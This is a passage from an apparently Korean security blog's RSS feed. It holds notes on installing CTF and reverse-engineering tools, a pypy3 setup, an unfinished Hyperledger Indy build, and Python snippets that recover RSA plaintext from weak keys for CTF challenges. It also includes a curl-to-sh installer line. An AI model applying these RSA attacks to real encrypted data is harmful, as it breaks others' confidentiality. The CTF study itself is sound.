&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;$ sudo vim /etc/apt/sources.list&lt;br /&gt;$ sudo sed&amp;nbsp;-ie&amp;nbsp;'s/archive.ubuntu.com/mirror.kakao.com/g'&amp;nbsp;/etc/apt/sources.list&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;: %s/kr.archive.ubuntu.com/mirror.kakao.com&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;: %s/us.archive.ubuntu.com/mirror.kakao.com&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;: %s/archive.ubuntu.com/mirror.kakao.com&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;: %s/security.ubuntu.com/mirror.kakao.com&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: left;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;b&gt;기본&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;ssh, htop, net-tools, git, lrzsz, tmux&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;$ sudo apt-get install -y ssh htop net-tools git lrzsz tmux;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: left;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;b&gt;바이너리&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;gdb, checksec, z3&lt;b&gt;(python3)&lt;/b&gt;, binwalk, pwntools(python3), peda&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;$ sudo&amp;nbsp;apt&amp;nbsp;install&amp;nbsp;-y&amp;nbsp;gdb&amp;nbsp;binwalk&amp;nbsp;python3&amp;nbsp;python3-dev&amp;nbsp;python3-pip&amp;nbsp;git&amp;nbsp;libssl-dev&amp;nbsp;libffi-dev;git&amp;nbsp;clone&amp;nbsp;&lt;a href=&quot;https://github.com/slimm609/checksec.sh.git;cp&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/slimm609/checksec.sh.git;cp&lt;/a&gt;&amp;nbsp;checksec.sh/checksec&amp;nbsp;/usr/local/bin/;rm&amp;nbsp;-rf&amp;nbsp;checksec.sh/&amp;nbsp;pip3&amp;nbsp;install&amp;nbsp;z3-solver;pip3&amp;nbsp;install&amp;nbsp;--upgrade&amp;nbsp;git+&lt;a href=&quot;https://github.com/arthaud/python3-pwntools.git;git&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/arthaud/python3-pwntools.git;git&lt;/a&gt;&amp;nbsp;clone&amp;nbsp;&lt;a href=&quot;https://github.com/longld/peda.git&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/longld/peda.git&lt;/a&gt;&amp;nbsp;~/.peda;echo&amp;nbsp;&quot;source&amp;nbsp;~/.peda/peda.py&quot;&amp;nbsp;&amp;gt;&amp;gt;&amp;nbsp;~/.gdbinit;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;peda-heap&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;$ git clone&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;a href=&quot;https://github.com/Mipu94/peda-heap&quot;&gt;https://github.com/Mipu94/peda-heap&lt;/a&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;~/.peda-heap; echo &quot;source ~/.peda-heap/peda.py&quot; &amp;gt;&amp;gt; ~/.gdbinit&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;peda-arm&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;$ git clone &lt;a href=&quot;https://github.com/alset0326/peda-arm.git&quot;&gt;https://github.com/alset0326/peda-arm.git&lt;/a&gt; ~/.peda-arm; echo &quot;source ~/.peda-arm/peda-arm.py&quot; &amp;gt;&amp;gt; ~/.gdbinit&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: left;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;b&gt;포렌식&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;foremost, pdfcrack, outguess&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;$ sudo&amp;nbsp;apt&amp;nbsp;install&amp;nbsp;-y&amp;nbsp;foremost&amp;nbsp;pdfcrack&amp;nbsp;outguess&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: left;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #333333;&quot;&gt;업데이트&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;pip3 업데이트(패키지 포함)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;$ python3 -m pip install --upgrade pip; &lt;span style=&quot;color: #333333;&quot;&gt;python3 -m pip install --upgrade pip; &lt;span&gt;pip freeze --local | grep -v '^\-e' | cut -d = -f 1&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;| xargs pip install -U&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: left;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #333333;&quot;&gt;코멘트&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;- 2020.12. 링크 오류 수정 예정&lt;/span&gt;&lt;/p&gt;</description>
      <category>Memo</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/196</guid>
      <comments>https://netking.tistory.com/196#entry196comment</comments>
      <pubDate>Sun, 13 Dec 2020 19:13:53 +0900</pubDate>
    </item>
    <item>
      <title>pypy3 Install</title>
      <link>https://netking.tistory.com/192</link>
      <description>&lt;p&gt;&lt;b&gt;0. 버전 : pypy3.7 Linux x86 64 bit&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;1. Site&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.pypy.org/download.html&quot;&gt;https://www.pypy.org/download.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;2. Install (The red letter depends on the version)&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;$ wget &lt;a href=&quot;https://downloads.python.org/pypy/pypy3.7-v7.3.3-linux64.tar.bz2&quot;&gt;https://downloads.python.org/pypy/pypy3.7-v7.3.3-linux64.tar.bz2&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;$ tar -xvf pypy3.7-v7.3.3-linux64.tar.bz2&lt;/p&gt;
&lt;p&gt;$ sudo mv pypy3.7-v7.3.3-linux64 /usr/local/bin/&lt;/p&gt;
&lt;p&gt;$ sudo ln -s /usr/local/bin/pypy3.7-v7.3.3-linux64/bin/pypy3 pypy3&lt;/p&gt;
&lt;p&gt;$ sudo mv pypy3 /usr/local/bin/&lt;/p&gt;
&lt;p&gt;&lt;s&gt;$ curl -O &lt;a href=&quot;http://python-distribute.org/distribute%5C_setup.py&quot;&gt;http://python-distribute.org/distribute\_setup.py&lt;/a&gt;&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&lt;s&gt;$ wget &lt;a href=&quot;https://bootstrap.pypa.io/get-pip.py&quot;&gt;https://bootstrap.pypa.io/get-pip.py&lt;/a&gt;&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&lt;s&gt;$ pypy3 distribute_setup.py&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&lt;s&gt;$ pypy3 get-pip.py&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&lt;s&gt;$ sudo ln -s /usr/local/bin/pypy3.6-v7.3.0-linux64/bin/pip pypy3-pip&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&lt;s&gt;$ sudo ln -s /usr/local/bin/pypy3.6-v7.3.0-linux64/bin/easy_install pypy3-easy_install&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&lt;s&gt;$ sudo mv pypy3-easy_install pypy3-pip /usr/local/bin/&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&lt;s&gt;$ sudo apt-get install upgrade; sudo apt-get install update&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;3. Fast Install&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;$ wget &lt;a href=&quot;https://downloads.python.org/pypy/pypy3.7-v7.3.3-linux64.tar.bz2;&quot;&gt;https://downloads.python.org/pypy/pypy3.7-v7.3.3-linux64.tar.bz2;&lt;/a&gt; tar -xvf &lt;a href=&quot;http://pypy3.7-v7.3.3-linux64.tar.bz2;sudo&quot;&gt;pypy3.7-v7.3.3-linux64.tar.bz2;sudo&lt;/a&gt; mv pypy3.7-v7.3.3-linux64 /usr/local/bin/; sudo ln -s /usr/local/bin/pypy3.7-v7.3.3-linux64/bin/pypy3 pypy3;sudo mv pypy3 /usr/local/bin/;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;s&gt;&lt;b&gt;4. Module&lt;/b&gt;&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&lt;s&gt;$ pypy3 -m pip install {module}&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;5. 코멘트&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;- 2020.12. 링크 오류&lt;/p&gt;</description>
      <category>Memo</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/192</guid>
      <comments>https://netking.tistory.com/192#entry192comment</comments>
      <pubDate>Sun, 13 Dec 2020 19:05:04 +0900</pubDate>
    </item>
    <item>
      <title>NKHashing ver.200710</title>
      <link>https://netking.tistory.com/214</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;설명&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;본 프로그램은 해시(혹은 암호화)를 오프라인에서도 할 수 있도록 만들었습니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;기능&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;- 해시 : Base64, URL, HEX, SHA-1, SHA-256, MD5&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;- 암호 : AES-256&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;- 인수분해 : Factorization&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Mb8fx/btqFzG9dnUf/0M5pv04SXpao0peLpS9z10/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Mb8fx/btqFzG9dnUf/0M5pv04SXpao0peLpS9z10/img.png&quot; data-alt=&quot;NKHashing ver.200710&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Mb8fx/btqFzG9dnUf/0M5pv04SXpao0peLpS9z10/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMb8fx%2FbtqFzG9dnUf%2F0M5pv04SXpao0peLpS9z10%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;NKHashing ver.200710&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;다운로드&lt;/h3&gt;
&lt;p&gt;- 직접 :&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;fileblock&quot; data-ke-align=&quot;alignCenter&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/eiTd40/btqPQsArLFq/lEKoyt1hj3oaxu2Y33mkxk/NKHashing_v200710.exe?attach=1&amp;amp;knm=tfile.exe&quot; class=&quot;&quot;&gt;
    &lt;div class=&quot;image&quot;&gt;&lt;/div&gt;
    &lt;div class=&quot;desc&quot;&gt;&lt;div class=&quot;filename&quot;&gt;&lt;span class=&quot;name&quot;&gt;NKHashing_v200710.exe&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;size&quot;&gt;0.04MB&lt;/div&gt;
&lt;/div&gt;
  &lt;/a&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;- 깃허브 : &lt;a href=&quot;https://github.com/NetKingJ/NKHashing/releases/tag/200710&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;github.com/NetKingJ/NKHashing/releases/tag/200710&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1607577005889&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-og-type=&quot;object&quot; data-og-title=&quot;Release v.200710 &amp;middot; NetKingJ/NKHashing&quot; data-og-description=&quot;목적 및 요구사항 본 프로그램은 해킹 방어 대회 CTF(Capture The Flag)에서 자주 사용하는 해시를 오프라인 상황에서도 사용할 수 있도록 만들었습니다. 주요기능 Base64 URL HEX AES-256 SHA-1 SHA-256 MD5 Factor&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/NetKingJ/NKHashing/releases/tag/200710&quot; data-og-url=&quot;https://github.com/NetKingJ/NKHashing/releases/tag/200710&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/cG9jN1/hyIwEF72pO/cDeeAfmMLbeVNMhifUJ3t0/img.jpg?width=400&amp;amp;height=400&amp;amp;face=0_0_400_400&quot;&gt;&lt;a href=&quot;https://github.com/NetKingJ/NKHashing/releases/tag/200710&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/NetKingJ/NKHashing/releases/tag/200710&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/cG9jN1/hyIwEF72pO/cDeeAfmMLbeVNMhifUJ3t0/img.jpg?width=400&amp;amp;height=400&amp;amp;face=0_0_400_400');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot;&gt;Release v.200710 &amp;middot; NetKingJ/NKHashing&lt;/p&gt;
&lt;p class=&quot;og-desc&quot;&gt;목적 및 요구사항 본 프로그램은 해킹 방어 대회 CTF(Capture The Flag)에서 자주 사용하는 해시를 오프라인 상황에서도 사용할 수 있도록 만들었습니다. 주요기능 Base64 URL HEX AES-256 SHA-1 SHA-256 MD5 Factor&lt;/p&gt;
&lt;p class=&quot;og-host&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;</description>
      <category>Development</category>
      <category>AES-256</category>
      <category>base64</category>
      <category>Factorization</category>
      <category>hex</category>
      <category>MD5</category>
      <category>SHA-1</category>
      <category>sha-256</category>
      <category>url</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/214</guid>
      <comments>https://netking.tistory.com/214#entry214comment</comments>
      <pubDate>Fri, 11 Dec 2020 18:21:34 +0900</pubDate>
    </item>
    <item>
      <title>Hyperledger Indy SDK Build (삽질중)</title>
      <link>https://netking.tistory.com/250</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;환경&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;Ubuntu 16.04 LTS (다른 버전에서 원활하게 빌드가 되지 않을 수 있습니다)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;설치&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ &lt;span&gt;sudo apt-get install make; &lt;span&gt;sudo apt-get install g++&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;$ &lt;span&gt;curl &lt;a href=&quot;https://sh.rustup.rs&quot;&gt;https://sh.rustup.rs&lt;/a&gt; -sSf | sh&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;$ &lt;span&gt;sudo apt-get update; &lt;span&gt;sudo apt-get install- y &lt;span&gt;build-essential pkg-config cmake libssl-dev libsqlite3-dev libzmq3-dev libncursesw5-dev&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;$ &lt;span&gt;cd /tmp; curl &lt;a href=&quot;https://download.libsodium.org/libsodium/releases/old/unsupported/libsodium-1.0.14.tar.gz&quot;&gt;https://download.libsodium.org/libsodium/releases/old/unsupported/libsodium-1.0.14.tar.gz&lt;/a&gt; | tar -xz; cd /tmp/libsodium-1.0.14; ./configure --disable-shared; make; sudo make install; rm -rf /tmp/libsodium-1.0.14&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;$ cd $HOME; git clone &lt;a href=&quot;https://github.com/hyperledger/indy-sdk.git&quot;&gt;https://github.com/hyperledger/indy-sdk.git;&lt;/a&gt;cd ./indy-sdk/libindy; cargo build&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;$ &lt;span&gt;cd $HOME/indy-sdk; sudo &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;docker build -f ci/indy-pool.dockerfile -t indy_pool .; sudo &lt;span&gt;docker run -itd -p 9701-9708:9701-9708 indy_pool&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서부터 안되네 ;-;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;테스트&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span&gt;$ cd $HOME/indy-sdk/libindy; &lt;span&gt;RUST_TEST_THREADS=1 cargo test&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Reference&lt;/h3&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=P93KRJWtM3Y&amp;amp;ab_channel=Haniumit&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;www.youtube.com/watch?v=P93KRJWtM3Y&amp;amp;ab_channel=Haniumit&lt;/a&gt;&lt;/blockquote&gt;</description>
      <category>Memo</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/250</guid>
      <comments>https://netking.tistory.com/250#entry250comment</comments>
      <pubDate>Tue, 1 Dec 2020 12:54:08 +0900</pubDate>
    </item>
    <item>
      <title>Crypto for CTF</title>
      <link>https://netking.tistory.com/239</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;RSA&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;개인키(d값) 구하기&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1603552419903&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from gmpy2 import *

p = 
q = 
e = 65537
c = 

n = p * q
phi = (p-1) * (q-1)
d = invert(e, phi)

print ('%x' % pow(c, d, n)).decode(&quot;hex&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;선택 암호문 공격 (Cycling Cliphertext Attack)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;e 값이 매우 작고, n 값이 큰 경우&lt;/li&gt;
&lt;li&gt;e = 3 경우가 많다&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1603549977350&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from gmpy2 import *

c = 
e = 

with local_context() as ctx:
    ctx.precision = 3000
    m = iroot(c, e)[0]
    
    print ('%x' % int(m)).decode(&quot;hex&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;위너 공격 (Weiner's Attack)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;e 값이 매우 큰 경우&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;git clone &lt;/span&gt;&lt;a style=&quot;letter-spacing: 0px;&quot; href=&quot;https://github.com/pablocelayes/rsa-wiener-attack.git&quot;&gt;https://github.com/pablocelayes/rsa-wiener-attack.git&lt;/a&gt; 설치하여 RSAwienerHacker.py 수정&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1603550032299&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;if __name__ == &quot;__main__&quot;:
    e = 
    n =
    c = 
    d = hack_RSA(e, n)

    print (&quot;D = &quot; + str(d))
    print ('%x' % pow(c, d, n)).decode(&quot;hex&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;C값이 매우 큰 경우&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1603551707880&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)

def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m

c = 
n = 
e = 65537

phi = 

d = modinv(e, phi)
m = pow(c, d, n)

flag = unhex(hex(m)[2:])

print('flag: {}'.format(flag))&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;p와 q 값이 비슷한 경우&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1603552721784&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from gmpy2 import *

n = 
e = 65537
c = 

p = isqrt(n)

while True:
    q, r = t_divmod(n, p)
    if r == 0:
        break
    p += 1
    
phi = (p-1) * (q-1)
d = invert(e, phi)

print ('%x' % pow(c, d, n)).decode(&quot;hex&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;서포트&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;a href=&quot;https://www.alpertron.com.ar/ECM.HTM&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Integer factorization calculator&lt;/a&gt; : &lt;span style=&quot;color: #666666;&quot;&gt;소인수분해 계산&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;a href=&quot;http://factordb.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;FactorDB&lt;/a&gt; : &lt;span style=&quot;color: #666666;&quot;&gt;소인수분해 데이터베이스&lt;/span&gt;&lt;/blockquote&gt;
